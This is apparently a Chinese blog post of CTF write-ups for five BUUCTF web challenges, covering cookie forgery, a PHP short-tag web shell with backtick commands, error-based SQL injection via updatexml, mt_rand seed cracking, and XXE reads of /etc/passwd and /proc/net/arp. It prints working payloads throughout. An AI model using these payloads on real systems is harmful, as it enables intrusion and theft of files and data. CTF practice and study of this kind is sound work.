首页 > 其他分享 >BUUCTF-WEB(71-75)

BUUCTF-WEB(71-75)

时间:2024-06-09 15:54:39浏览次数:19  
标签:WEB BUUCTF mt 0x7e flag 40 61 75 concat

[watevrCTF-2019]Cookie Store

打开购买flag那个cookie抓包,有个session值得注意

image-20240608104311223

我们拿去cyberchef解密一下

image-20240608104356341

然后我们试试改一下

{"money": 200, "history": []}
eyJtb25leSI6IDIwMCwgImhpc3RvcnkiOiBbXX0=

然后发送

image-20240608105056630

响应包返回了一个session,我们解密一下就得到flag

image-20240608105050230

[红明谷CTF 2021]write_shell

打开就是源码,我们应该往里面存入数据,也就是代码,到时候访问就执行了,

image-20240608110152349

这里我们先看一下路径

?action=pwd

image-20240608110305841

sandbox/4247b8a5da98794f37ad36c75aaa5631/

然后就试着写数据,这里发现反引号没有被过滤,而且我们可以利用<?= ?>这个php短标签来写php代码,然后空格被过滤了,我们可以%09绕过一下

image-20240608120848299

所以payload:

?action=upload&data=<?=`ls%09/`?>

然后访问之前得到的路径

image-20240608120959333

然后查看flag

?action=upload&data=<?=`cat%09/f*`?>

image-20240608121106382

[RCTF2015]EasySQL

参考:

upfine的博客 (cnblogs.com)

[RCTF2015]EasySQL_[rctf2015]easysql 1-CSDN博客

先注册,登录进来,发现一个改密码的

image-20240608133205187

在这里修改密码也没有任何回显

image-20240608133743586

之后我创了一个用户名为1"的用户,再去随便改个密码,然后发现报错

image-20240608133924664

然后接下来就是开始报错注入,空格被过滤了,还有/**/因为页面没有什么回显,爆库

1"||(updatexml(1,concat(0x7e,database(),0x7e),1))#

image-20240608135515946

爆表

1"||(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema='web_sqli')),0x7e),1))#

image-20240608135839191

爆字段(flag是在users这个表中哦)

1"||(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_schema='web_sqli')&&(table_name='users')),0x7e),1))#

image-20240608140225763

导出数据,这里由于updatexml只显示32位,所以并没有显示有用的数据

1"||(updatexml(1,concat(0x7e,(select(group_concat(real_flag_1s_here))from(users)),0x7e),1))#

image-20240608140909948

然后我想尝试一下substr,mid,right,发现并不行,被过滤了,使用limit会报错,然后看大佬都说正则MySQL 正则表达式(REGEXP)_mysql regexp-CSDN博客,去找到flag所在位置,很牛逼,第一次学到,但是还只是一半

1"||(updatexml(1,concat(0x7e,(select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^f')),0x7e),1))#

image-20240608142958492

flag{47ee3230-eaea-4a2a-a4b9-d3

然后又学到了这个,还需要使用reverse函数,逆序输出flag,输出后逆转一下

1"||(updatexml(1,concat(0x7e,reverse((select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^f'))),0x7e),1))#

image-20240608143537005

}dc845c0dc33d-9b4a-a2a4-aeae-03

最后拼接完整的flag

flag{47ee3230-eaea-4a2a-a4b9-d33cd0c548cd}

[GWCTF 2019]枯燥的抽奖

参考:

[BUUCTF题解][GWCTF 2019]枯燥的抽奖 - Article_kelp - 博客园 (cnblogs.com)

[GWCTF 2019]枯燥的抽奖-CSDN博客

PHP mt_rand安全杂谈及应用场景详解 - FreeBuf网络安全行业门户

打开题目说让我猜后面的字符串

image-20240609150300804

然后F12发现了文件check.php

image-20240609150329124

然后就看到源码了

image-20240609150354693

然后了解到这个随机生成的并不是真的随机,是可以根据某些计算算出来的,这个函数是通过一个种子然后去产生一个随机数,我们只需要知道种子就可以破解这个伪随机数

PHP的mt_rand函数作为一个随机数生成工具在程序中被广泛使用,但是大家都忽略了一个事实,mt_rand生成的随机数不是一个真正的随机数,而是一个伪随机数,不能应用于生成安全令牌、核心加解密key等等,所以很多知名程序都出现过对mt_rand函数的错误使用而导致的安全问题。php_mt_seed是一个破解mt_rand函数种子的工具,对它应用场景的深刻理解和应用能极大的提升漏洞发现的可能和利用的成功率。本文将详细介绍PHP mt_rand函数的安全问题及php_mt_seed应用场景。

我们后面会用到php_my_seed这个工具,我们先把已知的部分转成这个工具可以识别的格式

str1 ='EJOa9oEmi5'
str2 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ"
result =''


length = str(len(str2)-1)
for i in range(0,len(str1)):
    for j in range(0,len(str2)):
        if str1[i] ==  str2[j]:
            result += str(j) + ' ' +str(j) + ' ' + '0' + ' ' + length + ' '
            break


print(result)
40 40 0 61 45 45 0 61 50 50 0 61 0 0 0 61 35 35 0 61 14 14 0 61 40 40 0 61 12 12 0 61 8 8 0 61 31 31 0 61 

然后下载这个php_my_seed工具,记得是在linux环境下运行的,记得先编译

make time ./php_mt_seed.c 40 40 0 61 45 45 0 61 50 50 0 61 0 0 0 61 35 35 0 61 14 14 0 61 40 40 0 61 12 12 0 61 8 8 0 61 31 31 0 61

然后我这边没运行起来,我自己编译完又运行了一次

/php_mt_seed 40 40 0 61 45 45 0 61 50 50 0 61 0 0 0 61 35 35 0 61 14 14 0 61 40 40 0 61 12 12 0 61 8 8 0 61 31 31 0 61

image-20240609151654987

得到种子67026161

拿到种子,去生成完整的这个字符串

<?php
mt_srand(67026161);    //在这里填入获得的种子
$str_long1 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
$str='';
$len1=20;
for ( $i = 0; $i < $len1; $i++ ){
    $str.=substr($str_long1, mt_rand(0, strlen($str_long1) - 1), 1);       
}
echo($str);
EJOa9oEmi5LpHzqXCixt

然后填入那个猜测的框中

image-20240609152149124

[NCTF2019]True XML cookbook

参考:[NCTF2019]True XML cookbook-CSDN博客

打开源码,发现似曾相识,直接xml注入

image-20240609152322921

那我们抓包xml注入

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE Anything [
<!ENTITY entityex SYSTEM "file:///etc/passwd">
]>
<user><username>&entityex;</username><password>111</password></user>

image-20240609152638368

查看flag(失败版本)

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE Anything [
<!ENTITY entityex SYSTEM "file:///flag">
]>
<user><username>&entityex;</username><password>111</password></user>

image-20240609152956921

看来是没有这个/flag文件,还有一个知识xxe可以内网探测存活的主机,获取/etc/hosts文件,我们分别读取关键文件:/etc/hosts 和 /proc/net/arp:

file:///etc/hosts

image-20240609153221391

然后发现了两个ip

file:///proc/net/arp:

image-20240609153250685

然后尝试访问了一下,不行,然后C段扫描一下

我这里用脚本还是burp的爆破,都没有出来

标签:WEB,BUUCTF,mt,0x7e,flag,40,61,75,concat
From: https://www.cnblogs.com/Muneyoshi/p/18239641

相关文章

  • Docker配置 之 本地仓库web访问
    介绍Docker是一种开源的应用容器引擎。Docker可以让开发者打包应用以及依赖包到一个可移植的容器中,然后发布到任何安装了Docker引擎的服务器上(包括Linux机器、Windows机器),也可以实现虚拟化。容器是完全使用沙箱机制,相互之间不会有任何接口(类似iPhone的app)。几乎没有性能开销,......
  • java: 错误: 无效的源发行版:17解决方法、java: 无法访问org.springframework.web.bind
    可能的问题与解决方法java:错误:无效的源发行版:17(18)解决方法遇到这种问题大概率是版本以及配置出现问题,可以试试看按下面的步骤排除检查先检查自己的Java版本去到项目结构看Java配置是否正确这里以我的Java1.8举例主要是修改SDK为正确对应检查依赖项是否正确(i......
  • ChatTTS 开源文本转语音模型本地部署、API使用和搭建WebUI界面(建议收藏)
    ChatTTS(ChatTextToSpeech)是专为对话场景设计的文本生成语音(TTS)模型,特别适用于大型语言模型(LLM)助手的对话任务,以及诸如对话式音频和视频介绍等应用。它支持中文和英文,还可以穿插笑声、说话间的停顿、以及语气词等,听起来很真实自然,在语音合成中表现出高质量和自然度(ChatTTS团......
  • NSSCTF-Web题目6
    目录[NISACTF2022]checkin1、题目2、知识点3、思路[NISACTF2022]babyupload1、题目2、知识点3、思路[SWPUCTF2022新生赛]1z_unserialize1、题目2、知识点3、思路[NISACTF2022]checkin1、题目2、知识点010编辑器的使用、url编码3、思路打开题目,得到源......
  • ctfshow-超详细通关教程-web(1~8)
    快捷目录web1web2web3web4web5web6web7web81.web签到题打开网址后出现如下界面。查看一下网站源码将Y3Rmc2hvd3s1ZjkxNTc3Yy03MmRkLTRhYzItYTE1Yi1lOWRhMjk4MTQyNjl9解码即可得到flag2.web2打开网址如图。首先用万能密码admin'or1=1#测试一下。直接就进入了,......
  • JavaWeb中,web应用的上下文路径解读
    当前Web应用的上下文路径(ContextPath)指的是Web应用在服务器上的根路径。在Servlet或JSP环境中,一个服务器可以运行多个Web应用,每个应用都有一个唯一的上下文路径。例如,如果你的Web应用部署在Tomcat服务器上,并且在Tomcat的webapps目录下有一个名为myapp的Web应用,那么这个应......
  • IT闲谈-WEB前端主流三大框架
    目录一、Angular二、React三、Vue.js小结前言这里给大家简单介绍一下web前端框架;随着互联网技术的飞速发展,Web前端技术也在不断地演进和更新。目前,前端比较多的三大主流前端框架Angular、React和Vue.js,成为前端开发者的得力助手。文章主要是讲解这三大框架的由来、发......
  • 【JavaScript脚本宇宙】通知新风尚:打造互动性十足的Web提示系统
    定制通知体验:深入了解JavaScript通知库前言在现代web开发中,通知库扮演着至关重要的角色,它们为用户界面的交互性和用户体验提供了关键支持。本文将介绍一些常用的JavaScript通知库,从简单实用到高度定制化各有特色,帮助开发者在项目中轻松实现各种通知功能。欢迎订阅专栏:Ja......
  • cypress测试本地web应用
    Cypress是一个流行的前端测试框架,它提供了一套丰富的API来与web应用进行交互,并支持测试运行在浏览器中的任何内容。测试本地web应用是Cypress的强项之一,以下是如何使用Cypress测试本地web应用的一些关键步骤和概念:1.启动本地应用在测试之前,需要确保你的本地web......
  • BUUCTF-Misc(121-130)
    [UTCTF2020]sstv参考:[UTCTF2020]QSSTV-cuihua--博客园(cnblogs.com)qsstv解密一下flag{6bdfeac1e2baa12d6ac5384cdfd166b0}voip参考:buuctfVoIP-CSDN博客voip就是语音通话技术然后wireshark可以直接播放这个语音然后播放一下flag就是考听力的,加油吧,我太垃圾,......